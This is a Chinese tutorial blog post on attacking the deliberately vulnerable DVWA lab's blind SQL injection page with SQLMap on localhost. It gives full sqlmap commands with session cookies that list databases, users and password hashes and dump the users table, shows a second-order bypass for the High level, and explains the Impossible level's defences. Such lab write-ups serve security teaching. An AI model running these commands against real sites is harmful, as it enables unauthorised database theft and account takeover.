(十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析

一、测试前分析

前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析>
通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程,本文则利用自动化的工具SQLMap对SQL Injection(Blind)进行漏洞检测和数据获取。

手工 VS 自动化
①手工测试有助于理解整个注入漏洞的利用过程,可以加深技能印象
②自动化工具所检测的效率相对较高,而且覆盖的全面性更高,数据获取的广度和深度也可以得到更好的发挥

利用SQLMap自动化工具的检测流程大致如下:
1.判断是否存在注入点、注入类型
2.获取DBMS中所有的数据库名称
3.获取Web应用当前连接的数据库
4.列出数据库中的所有用户
5.获取Web应用当前所操作的用户
6.列出可连接数据库的所有账户-对应的密码哈希
7.列出指定数据库中的所有数据表
8.列出指定数据表中的所有字段(列)
9.导出指定数据表中的列字段进行保存
10.根据导出的数据,验证数据有效性

二、全等级SQL Injection(Blind)-漏洞利用解析

利用SQLMap工具操作,本文暂不作太过详细的去拆分细节点,各个等级的服务端代码在此也不作重复展示。
以下构造SQLMap所需的测试命令时,所需用到的工具还有:浏览器自带的F12查看Request/Response/cookie、Fiddler抓取url/cookie等、Burp拦截url/cookie等数据...
因注入测试是在保持浏览器账户登录状态的前提下进行的,过程中需要保持登录不退出账户,操作命令中需要带上登录账户的cookie信息--cookie="xxx";若过程中有退出了账户,则需要重新登录账户,并重新获取cookie信息,以在SQLMap操作命令中及时更新cookie内容。

【A】Level:Low

1.判断是否存在注入点、注入的类型

构造命令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch

执行结果:

 
 
2.获取DBMS中所有的数据库名称

构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --dbs

执行结果:

 
 
3.获取Web应用当前连接的数据库

构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --current-db

执行结果:

 
 
4.列出数据库中的所有用户

构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --users

执行结果:

 
 
5.获取Web应用当前所操作的用户

构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --current-user

执行结果:

 
 
6.列出可连接数据库的所有账户-对应的密码哈希

构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --passwords

执行结果:

 
 
7.列出指定数据库中的所有数据表

构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -D dvwa --tables

执行结果:

 
 
8.列出指定数据表中的所有字段(列)

构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -D dvwa -T users --columns

执行结果:

 
 
9.导出指定数据表中的列字段进行保存

构造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -D dvwa -T users -C "user,password" --dump

执行结果:

 
 
10.根据导出的数据,验证数据有效性
userpassword
1337 charley
admin password
gordonb abc123
pablo letmein
smithy password

从以上导出的user---password组合中任取一组,回到前端登录界面进行验证

登录界面:http://localhost:8001/dvwa/login.php
用户密码:pablo---letmein

 
登录成功

【B】Level:Medium

Low等级提交的数据是通过GET请求方式,直接在浏览器url中传递参数;而Medium等级,所提交的User ID数据是通过POST请求方式,参数是在POST请求体中传递。
此时,构造SQLMap操作命令,则需要将url和data分成两部分分别填写,同时需要更新cookie信息的取值,如下:

构造命令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch

执行结果:

 
 

构造命令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -dbs

执行结果:

 
 
 
基于时间的盲注,整个猜解过程中要花费稍微多一些时间

......
获取数据库其他数据的过程,暂且不继续往下展示,和Low级别相似。确保SQLMap操作命令中的url、data分离,cookie信息更新为对应等级的cookie值,以及保持账户登录状态时进行操作即可。

【C】Level:High

  1. High级别的查询数据提交的页面、查询结果显示的页面是分离成了2个不同的窗口分别控制的。即在查询提交窗口提交数据(POST请求)之后,需要到另外一个窗口进行查看结果(GET请求)。若需获取请求体中的Form Data数据,则需要在提交数据的窗口中查看网络请求数据or通过拦截工具获取
  2. High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止常规的SQLMap扫描注入测试,因为SQLMap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入;但是并不代表High级别不能用SQLMap进行注入测试,此时需要利用其非常规的命令联合操作,如:--second-order="xxxurl"(设置二阶响应的结果显示页面的url),具体的操作命令可参看==>SQLMap工具使用选项的操作命令&功能

构造命令:
python2 sqlmap.py --url="http://localhost/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data="id=1&Submit=Submit" --second-order="http://localhost/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=kpmkm3kphj5cccf7ub43c8e7l4" --batch

执行结果:

 
 

【D】Level:Impossible

可以尝试构造SQLMap命令进行检测:
python2 sqlmap.py --url="http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit&user_token=b95d5f0bb28c4ecd6418c6deed57b4bf#" --cookie="security=impossible; security=impossible; PHPSESSID=p78fd4dlnor8qsrjck9ivg3hj0" --batch

暂未发现注入漏洞

 
 

Impossible级别的SQL Injection(Blind)

  1. impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入
  2. 只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库
  3. 利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句
  4. Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过
 

作者:Fighting_001
链接:https://www.jianshu.com/p/ec2ca79e74b2
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

原文地址:https://www.cnblogs.com/uestc2007/p/11771866.html